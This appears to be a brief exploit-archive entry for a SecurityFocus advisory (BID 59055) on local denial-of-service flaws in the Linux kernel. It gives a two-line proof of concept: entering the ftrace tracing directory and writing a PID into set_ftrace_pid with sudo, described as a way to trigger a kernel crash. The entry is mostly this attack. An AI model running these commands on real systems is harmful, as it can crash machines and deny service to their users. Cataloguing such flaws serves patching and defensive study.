|   1 2 3 4 5 6 7 8 9  |  source: https://www.securityfocus.com/bid/59055/info The Linux kernel is prone to multiple local denial-of-service vulnerabilities. Attackers can exploit these issues to trigger a kernel crash, which may result in a denial-of-service condition.  cd /sys/kernel/debug/tracing echo 1234 | sudo tee -a set_ftrace_pid   |